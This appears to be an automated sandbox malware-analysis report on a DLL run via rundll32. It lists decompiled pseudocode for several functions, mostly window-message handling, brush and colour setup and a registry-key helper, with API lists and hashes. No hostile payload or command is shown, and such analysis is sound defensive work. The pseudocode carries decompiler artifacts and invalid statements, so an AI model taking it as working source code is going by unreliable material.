Opcode Fuzzy Hash: a7e4373b2d5041fe067d0f46c39936abf963ecde4f530a92ffd421ab16e0bf5c
Instruction Fuzzy Hash: EC41E27191025AEFCF14DFE5C884AAEBFB8FF05314F14862AE416EB284E7709956CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C2EA Relevance: 10.6, APIs: 7, Instructions: 117
windowCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6EB4C2EA(intOrPtr* __ecx, signed int _a4) {
				int _v8;
				int _v12;
				int _v16;
				struct tagMSG* _v20;
				struct HWND__* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t48;
				struct tagMSG* _t49;
				signed int _t51;
				void* _t54;
				void* _t56;
				int _t59;
				long _t62;
				signed int _t66;
				void* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;

				_t70 = __ecx;
				_t74 = __ecx;
				_v16 = 1;
				_v12 = 0;
				if((_a4 & 0x00000004) == 0) {
					L2:
					_v8 = 0;
					L3:
					_t48 = GetParent( *(_t74 + 0x20));
					 *(_t74 + 0x3c) =  *(_t74 + 0x3c) | 0x00000018;
					_v24 = _t48;
					_t49 = E6EB522DA(_t76);
					_t69 = UpdateWindow;
					_v20 = _t49;
					while(1) {
						_t77 = _v16;
						if(_v16 == 0) {
							goto L15;
						}
						while(1) {
							L15:
							_t51 = E6EB52726(_t70, 0, _t74, _t77);
							if(_t51 == 0) {
								break;
							}
							if(_v8 != 0) {
								_t59 = _v20->message;
								if(_t59 == 0x118 || _t59 == 0x104) {
									E6EB4F6CB(_t74, 1);
									UpdateWindow( *(_t74 + 0x20));
									_v8 = 0;
								}
							}
							_t71 = _t74;
							_t54 =  *((intOrPtr*)( *_t74 + 0x88))();
							_t82 = _t54;
							if(_t54 == 0) {
								_t45 = _t74 + 0x3c;
								 *_t45 =  *(_t74 + 0x3c) & 0xffffffe7;
								__eflags =  *_t45;
								return  *((intOrPtr*)(_t74 + 0x44));
							} else {
								_push(_v20);
								_t56 = E6EB52629(_t69, _t71, 0, _t74, _t82);
								_pop(_t70);
								if(_t56 != 0) {
									_v16 = 1;
									_v12 = 0;
								}
								if(PeekMessageA(_v20, 0, 0, 0, 0) == 0) {
									while(1) {
										_t77 = _v16;
										if(_v16 == 0) {
											goto L15;
										}
										goto L4;
									}
								}
								continue;
							}
						}
						_push(0);
						E6EB50397();
						return _t51 | 0xffffffff;
						L4:
						__eflags = PeekMessageA(_v20, 0, 0, 0, 0);
						if(__eflags != 0) {
							goto L15;
						} else {
							__eflags = _v8;
							if(_v8 != 0) {
								_t70 = _t74;
								E6EB4F6CB(_t74, 1);
								UpdateWindow( *(_t74 + 0x20));
								_v8 = 0;
							}
							__eflags = _a4 & 0x00000001;
							if((_a4 & 0x00000001) == 0) {
								__eflags = _v24;
								if(_v24 != 0) {
									__eflags = _v12;
									if(_v12 == 0) {
										SendMessageA(_v24, 0x121, 0,  *(_t74 + 0x20));
									}
								}
							}
							__eflags = _a4 & 0x00000002;
							if(__eflags != 0) {
								L13:
								_v16 = 0;
								continue;
							} else {
								_t62 = SendMessageA( *(_t74 + 0x20), 0x36a, 0, _v12);
								_v12 = _v12 + 1;
								__eflags = _t62;
								if(__eflags != 0) {
									continue;
								}
								goto L13;
							}
						}
					}
				}
				_t66 = E6EB4F5C9(__ecx);
				_v8 = 1;
				_t76 = _t66 & 0x10000000;
				if((_t66 & 0x10000000) == 0) {
					goto L3;
				}
				goto L2;
			}

APIs

GetParent.USER32(?), ref: 6EB4C31D
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 6EB4C341
UpdateWindow.USER32(?), ref: 6EB4C35C
SendMessageA.USER32 ref: 6EB4C37D
SendMessageA.USER32 ref: 6EB4C395
UpdateWindow.USER32(?), ref: 6EB4C3D8
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 6EB4C409

Part of subcall function 6EB4F5C9: GetWindowLongA.USER32 ref: 6EB4F5D4

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 6d8d3d8c61644cd5523d04c3d80366e3abd4f8e6b6d7529a04c96169ac6a6077
Instruction ID: 0f107d27c54626ad4c3a5a2877fa9be020d0ee598654e6c75111475f0f8ef218
Opcode Fuzzy Hash: 6d8d3d8c61644cd5523d04c3d80366e3abd4f8e6b6d7529a04c96169ac6a6077
Instruction Fuzzy Hash: 8D41C430900A89EBEF21CFE6CA44E9EBFB4FF81B44F10446DE455AA1A8D7718944EF10

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46B40 Relevance: 10.6, APIs: 7, Instructions: 106
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6EB46B40(long __ecx, void* __esi) {
				char _v12;
				signed int _v16;
				intOrPtr _v44;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				void _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _v88;
				struct tagLOGBRUSH _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				int _v112;
				char _v116;
				void* __ebx;
				void* __edi;
				signed int _t38;
				signed int _t40;
				void* _t57;
				void* _t64;
				long _t84;
				void* _t86;
				void* _t87;
				void* _t88;
				signed int _t89;

				_t87 = __esi;
				_push(0xffffffff);
				_push(0x6eb787a8);
				_push( *[fs:0x0]);
				_t89 = _t88 - 0x2c;
				_t38 =  *0x6eb89470; // 0xc96cff66
				_v16 = _t38 ^ _t89;
				_t40 =  *0x6eb89470; // 0xc96cff66
				_push(_t40 ^ _t89);
				 *[fs:0x0] =  &_v12;
				_t84 = __ecx;
				 *((intOrPtr*)(__esi + 0x54)) = __ecx;
				 *((intOrPtr*)(__esi + 0x5c)) = ColorAdjustLuma(__ecx, 0x1f4, 1);
				 *((intOrPtr*)(__esi + 0x60)) = ColorAdjustLuma(_t84, 0xffffff2e, 1);
				 *((intOrPtr*)(__esi + 0x58)) = ColorAdjustLuma(_t84, 0xfffffeb3, 1);
				 *((intOrPtr*)(__esi + 0x64)) = ColorAdjustLuma(_t84, 0xfffffe0c, 1);
				if( *((intOrPtr*)(__esi + 0x6c)) != 0) {
					E6EB49CA7(__esi + 0x68);
				}
				E6EB49C4F(0, _t87 + 0x68, _t84, CreateSolidBrush(_t84));
				_v72 = 0x55;
				_v70 = 0xaa;
				_v68 = 0x55;
				_v66 = 0xaa;
				_v64 = 0x55;
				_v62 = 0xaa;
				_v60 = 0x55;
				_v58 = 0xaa;
				_v88 = 0;
				_v100.lbHatch = 0x6eb79d00;
				_t82 =  &_v72;
				_v44 = 0;
				E6EB49C4F(0,  &_v112, 0x6eb79d00, CreateBitmap(8, 8, 1, 1,  &_v72));
				_v108 = 3;
				_v100.lbStyle = _v112;
				_v104 = 0;
				if( *((intOrPtr*)(_t87 + 0x74)) != 0) {
					E6EB49CA7(_t87 + 0x70);
				}
				E6EB49C4F(0, _t87 + 0x70, 0x6eb79d00, CreateBrushIndirect( &_v100));
				_v68 = 0xffffffff;
				_v116 = 0x6eb79d00;
				_t57 = E6EB41070( &_v116, _t82);
				 *[fs:0x0] = _v76;
				_pop(_t86);
				_pop(_t64);
				return E6EB63DE0(_t57, _t64, _v80 ^ _t89, _t82, _t86, _t87);
			}

APIs

ColorAdjustLuma.SHLWAPI(005B5BE3,000001F4,00000001), ref: 6EB46B83
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFF2E,00000001), ref: 6EB46B90
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFEB3,00000001), ref: 6EB46B9D
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFE0C,00000001), ref: 6EB46BAA
CreateSolidBrush.GDI32(005B5BE3), ref: 6EB46BBF
CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 6EB46C2A
CreateBrushIndirect.GDI32(00000003), ref: 6EB46C60

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AdjustColorLuma$Create$Brush$BitmapIndirectSolid
String ID:
API String ID: 4192194151-0
Opcode ID: 7975c8698e0fabdc2ce8b4c02fd3d0f95ab706201c0638bfd095fda86f373436
Instruction ID: 0bfabf5321cb83a4ee3390137002eec126dd9901751c34f32627950824a8806d
Opcode Fuzzy Hash: 7975c8698e0fabdc2ce8b4c02fd3d0f95ab706201c0638bfd095fda86f373436
Instruction Fuzzy Hash: 4C416971628781DBC714DF69C880A5BBBE5FF99704F000E2EF19AD76A0EB709904CB06

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C870 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB4C870(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t34;
				long _t43;
				struct HWND__* _t48;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E6EB522D1();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E6EB53D53(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E6EB65E80(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
							_v40 = _t48;
							_v52 = 0x2c;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
				}
				_t34 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				_t61 = _t34;
				E6EB4C687(_t72, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t34) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf8))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E6EB4C7B6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x11c))();
			}

APIs

_memset.LIBCMT ref: 6EB4C8FF
SendMessageA.USER32 ref: 6EB4C928
GetWindowLongA.USER32 ref: 6EB4C93A
GetWindowLongA.USER32 ref: 6EB4C94B
SetWindowLongA.USER32(?,000000FC,?), ref: 6EB4C967

Strings

,, xrefs: 6EB4C91E

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: ,
API String ID: 2997958587-3772416878
Opcode ID: 99448889f85a630b823998f384117fa612021e549fdf37b888e4a5b5a213f697
Instruction ID: ad83bcd9de93a66be1338004ddecc2e2b8e142ecd8a64669b94f863b26e93526
Opcode Fuzzy Hash: 99448889f85a630b823998f384117fa612021e549fdf37b888e4a5b5a213f697
Instruction Fuzzy Hash: F531BF31610695EFEB119FF8C884AADBBF8FF08714B110929E5569BA95EB30E408CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56A31 Relevance: 10.6, APIs: 7, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EB56A31(intOrPtr __ecx) {
				struct HWND__* _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t15;
				long _t16;
				struct HWND__* _t17;
				void* _t18;
				struct HWND__* _t19;
				void* _t30;

				_t24 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_v12 = __ecx;
				_t15 = GetCapture();
				_t30 = SendMessageA;
				while(1) {
					_v8 = _t15;
					if(_t15 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, 0);
					__eflags = _t16;
					if(__eflags == 0) {
						_t15 = E6EB4DA58(_t24, 0x365, __eflags, _v8);
						continue;
					}
					L15:
					return _t16;
				}
				_t17 = GetFocus();
				while(1) {
					_v8 = _t17;
					if(_t17 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, 0);
					__eflags = _t16;
					if(__eflags == 0) {
						_t17 = E6EB4DA58(_t24, 0x365, __eflags, _v8);
						continue;
					}
					goto L15;
				}
				_t25 = _v12;
				_t18 = E6EB4DAA2(0, _v12, 0x365);
				_t34 = _t18;
				if(_t18 == 0) {
					_t18 = E6EB48BA4(0, _t25, 0x365, _t30, _t34);
				}
				_t19 = GetLastActivePopup( *(_t18 + 0x20));
				while(1) {
					_v8 = _t19;
					_push(0);
					if(_t19 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, ??);
					__eflags = _t16;
					if(__eflags == 0) {
						_t19 = E6EB4DA58(_t25, 0x365, __eflags, _v8);
						continue;
					}
					goto L15;
				}
				_t16 = SendMessageA( *(_v12 + 0x20), 0x111, 0xe147, ??);
				goto L15;
			}

APIs

GetCapture.USER32 ref: 6EB56A3E
SendMessageA.USER32 ref: 6EB56A59
GetFocus.USER32 ref: 6EB56A6E
SendMessageA.USER32 ref: 6EB56A7C
GetLastActivePopup.USER32(?), ref: 6EB56AA5
SendMessageA.USER32 ref: 6EB56AB2

Part of subcall function 6EB4DA58: GetWindowLongA.USER32 ref: 6EB4DA7E
Part of subcall function 6EB4DA58: GetParent.USER32(?), ref: 6EB4DA8C

SendMessageA.USER32 ref: 6EB56AD8

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastLongParentPopupWindow
String ID:
API String ID: 3338174999-0
Opcode ID: de7a52e8cba26205e3b33bd79cc2927cde5f8a4ce63e817cc07967ec5e5f2a21
Instruction ID: 1edb66caec03c81fad5dbae8e5ac0b2bd950dfaec3729396ca4b869a47f1919a
Opcode Fuzzy Hash: de7a52e8cba26205e3b33bd79cc2927cde5f8a4ce63e817cc07967ec5e5f2a21
Instruction Fuzzy Hash: B61160B0924199FFDF50AFE1CE85C9E7E7DEF41348B104475E601A2228E7318E10AFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB568CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB568CD(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

0x6eb568ea
0x6eb568f1
0x6eb568f4
0x6eb568f7
0x6eb568fa
0x6eb56905
0x6eb5693c
0x6eb5693c
0x6eb56947
0x6eb5694c
0x6eb5694c
0x6eb56951
0x6eb56956
0x6eb56956
0x6eb5695f

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 6EB568FD
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6EB56920
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6EB5693C
RegCloseKey.ADVAPI32(?), ref: 6EB5694C
RegCloseKey.ADVAPI32(?), ref: 6EB56956

Strings

software, xrefs: 6EB568E5

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: d64634d02a2fa2aa26e2294749aa673ee9678e375df3325fc34b0bfdd8696eff
Instruction ID: e3eb66e4ec2a7afdb5bcd307e7228e8c8667d6814b668eeaf5651c0720832d4d
Opcode Fuzzy Hash: d64634d02a2fa2aa26e2294749aa673ee9678e375df3325fc34b0bfdd8696eff
Instruction Fuzzy Hash: 2111E372900199FB8B21DEDACD88CDFBFBDEFC9710B1100AAE514A2215D6319A54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54528 Relevance: 10.5, APIs: 7, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB54528(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x6eb54534
0x6eb5453a
0x6eb54541
0x6eb54548
0x6eb5454f
0x6eb5455c
0x6eb54563
0x6eb54566
0x6eb54569
0x6eb5456d

APIs

GetSysColor.USER32(0000000F), ref: 6EB54536
GetSysColor.USER32(00000010), ref: 6EB5453D
GetSysColor.USER32(00000014), ref: 6EB54544
GetSysColor.USER32(00000012), ref: 6EB5454B
GetSysColor.USER32(00000006), ref: 6EB54552
GetSysColorBrush.USER32(0000000F), ref: 6EB5455F
GetSysColorBrush.USER32(00000006), ref: 6EB54566

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: d2dd2b856c6e8102aecbf07ad52b2b09e5774b051cf63da60747af6c084d124c
Instruction ID: 8093ae142b8feed7038ed781b9af8ca09443fbbcaa3fb38df8c1c0461c301bad
Opcode Fuzzy Hash: d2dd2b856c6e8102aecbf07ad52b2b09e5774b051cf63da60747af6c084d124c
Instruction Fuzzy Hash: 8EF01C719407489BDB30BF768D49B47BAE1FFC4B10F02092EE2858BA90E6B6E441DF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB618E8 Relevance: 9.3, APIs: 6, Instructions: 256
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB618E8(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				CHAR* _t121;
				int _t122;
				CHAR* _t127;
				CHAR* _t135;
				CHAR* _t140;
				signed int _t141;
				CHAR* _t144;
				CHAR* _t148;
				CHAR* _t151;
				signed short _t154;
				signed int _t156;
				signed int _t160;
				signed int _t161;
				signed int _t172;
				CHAR* _t176;
				void* _t179;
				void* _t182;
				intOrPtr _t185;
				CHAR* _t188;
				CHAR* _t189;
				int _t191;
				char* _t194;
				void* _t195;
				void* _t196;
				CHAR* _t197;
				char* _t199;
				void* _t200;
				long long _t205;

				_t200 = __eflags;
				_t185 = __edx;
				_push(0x50);
				E6EB6659A(0x6eb783a9, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t196 - 0x34)) = __ecx;
				E6EB53D6C(_t196 - 0x2c, _t200,  *((intOrPtr*)(__ecx + 0x1c)));
				_t176 =  *(_t196 + 8);
				_t121 = _t176[8];
				_t187 = 0;
				 *(_t196 - 4) = 0;
				 *(_t196 - 0x19) = 0;
				 *(_t196 - 0x18) = _t121;
				if(_t121 == 0) {
					 *(_t196 - 0x18) = _t196 - 0x19;
				}
				_t122 = lstrlenA( *(_t196 - 0x18));
				_t202 =  *(_t196 + 0xc) & 0x0000000c;
				_t191 = _t122;
				 *(_t196 - 0x20) = _t176[0x10];
				 *(_t196 - 0x24) = _t176[0xc] & 0x0000ffff;
				if(( *(_t196 + 0xc) & 0x0000000c) == 0) {
					L11:
					_t192 =  *(_t196 + 0x14);
					_push( *(_t192 + 8) << 4);
					_t127 = E6EB48E82(_t176, _t185, _t187, _t192, __eflags);
					_pop(_t179);
					__eflags = _t127;
					if(_t127 != 0) {
						_t192 =  *(_t192 + 8);
						__eflags = _t192 - 0x7ffffff;
						if(_t192 > 0x7ffffff) {
							goto L12;
						}
						_t193 = _t192 << 4;
						E6EB66B00(_t192 << 4);
						 *(_t196 - 0x10) = _t197;
						 *(_t196 - 0x30) = _t197;
						E6EB65E80(_t187,  *(_t196 - 0x30), _t187, _t192 << 4);
						_t199 =  &(_t197[0xc]);
						_t187 = E6EB61096(_t179, _t187, _t193,  *(_t196 - 0x18),  *(_t196 - 0x24));
						_t49 =  &(_t187[8]); // 0x10
						_t192 = _t49;
						_push(_t49);
						_t135 = E6EB48E82(_t176, _t185, _t187, _t49, __eflags);
						__eflags = _t135;
						if(_t135 == 0) {
							L4:
							 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
							if( *(_t196 - 0x28) == 0) {
								L7:
								L55:
								return E6EB665F6(_t176, _t187, _t192);
							}
							_push( *((intOrPtr*)(_t196 - 0x2c)));
							_push(0);
							L6:
							E6EB53579();
							goto L7;
						}
						E6EB66B00(_t192);
						 *(_t196 - 0x10) = _t199;
						_t176 = 0;
						_t194 = _t199;
						 *((intOrPtr*)(_t196 - 0x58)) = 0x6eb7c160;
						 *((intOrPtr*)(_t196 - 0x54)) = 0;
						 *((intOrPtr*)(_t196 - 0x48)) = 0;
						 *((intOrPtr*)(_t196 - 0x4c)) = 0;
						 *((intOrPtr*)(_t196 - 0x50)) = 0;
						_push(_t196 - 0x58);
						_push( *(_t196 - 0x30));
						_push( *((intOrPtr*)(_t196 + 0x18)));
						 *(_t196 - 4) = 1;
						_push( *(_t196 + 0x14));
						_push( *(_t196 - 0x24));
						_push(_t196 - 0x44);
						_push( *(_t196 - 0x18));
						_push(_t194);
						_t140 = E6EB61604(0,  *((intOrPtr*)(_t196 - 0x34)), _t187, _t194, __eflags);
						 *(_t196 - 0x18) = _t140;
						__eflags = _t140;
						if(_t140 != 0) {
							L26:
							_t141 =  *(_t196 + 0x14);
							_t192 = 0;
							__eflags =  *(_t141 + 8);
							if( *(_t141 + 8) <= 0) {
								L29:
								__eflags =  *(_t196 - 0x18);
								_t182 = _t196 - 0x58;
								if( *(_t196 - 0x18) == 0) {
									E6EB61544(_t176, _t182, _t187);
									_t187 =  *(_t196 + 0x10);
									__eflags = _t187;
									if(_t187 == 0) {
										_t144 = ( *(_t196 - 0x24) & 0x0000ffff) - 8;
										__eflags = _t144;
										if(_t144 == 0) {
											__imp__#6(_t176);
											L52:
											 *(_t196 - 4) = 0;
											E6EB61464(_t196 - 0x58);
											 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
											__eflags =  *(_t196 - 0x28);
											if( *(_t196 - 0x28) != 0) {
												_push( *((intOrPtr*)(_t196 - 0x2c)));
												_push(0);
												E6EB53579();
											}
											__eflags = 0;
											goto L55;
										}
										_t148 = _t144 - 1;
										__eflags = _t148;
										if(_t148 == 0) {
											L48:
											__eflags = _t176;
											if(_t176 != 0) {
												 *((intOrPtr*)( *_t176 + 8))(_t176);
											}
											goto L52;
										}
										_t151 = _t148 - 3;
										__eflags = _t151;
										if(_t151 == 0) {
											__imp__#9(_t196 - 0x44);
											goto L52;
										}
										__eflags = _t151 != 1;
										if(_t151 != 1) {
											goto L52;
										}
										goto L48;
									}
									_t154 =  *(_t196 - 0x24);
									 *_t187 = _t154;
									_t156 = (_t154 & 0x0000ffff) + 0xfffffffe;
									__eflags = _t156 - 0x13;
									if(_t156 > 0x13) {
										goto L52;
									}
									switch( *((intOrPtr*)(_t156 * 4 +  &M6EB61C00))) {
										case 0:
											 *((short*)(__edi + 8)) = __bx;
											goto L52;
										case 1:
											 *((intOrPtr*)(__edi + 8)) = __ebx;
											goto L52;
										case 2:
											 *((intOrPtr*)(__edi + 8)) =  *((intOrPtr*)(__ebp - 0x44));
											goto L52;
										case 3:
											 *((long long*)(__edi + 8)) =  *((long long*)(__ebp - 0x44));
											goto L52;
										case 4:
											__eax =  *((intOrPtr*)(__ebp - 0x44));
											 *((intOrPtr*)(__edi + 8)) =  *((intOrPtr*)(__ebp - 0x44));
											__eax =  *((intOrPtr*)(__ebp - 0x40));
											 *((intOrPtr*)(__edi + 0xc)) =  *((intOrPtr*)(__ebp - 0x40));
											goto L52;
										case 5:
											__eax = 0;
											__eflags = __bx;
											0 | __eflags == 0x00000000 = (0 | __eflags == 0x00000000) - 1;
											 *((short*)(__edi + 8)) = __ax;
											goto L52;
										case 6:
											__esi = __ebp - 0x44;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											goto L52;
										case 7:
											goto L52;
										case 8:
											_t187[4] = _t176;
											goto L52;
									}
								}
								 *(_t196 - 4) = 0;
								E6EB61464(_t182);
								 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
								__eflags =  *(_t196 - 0x28);
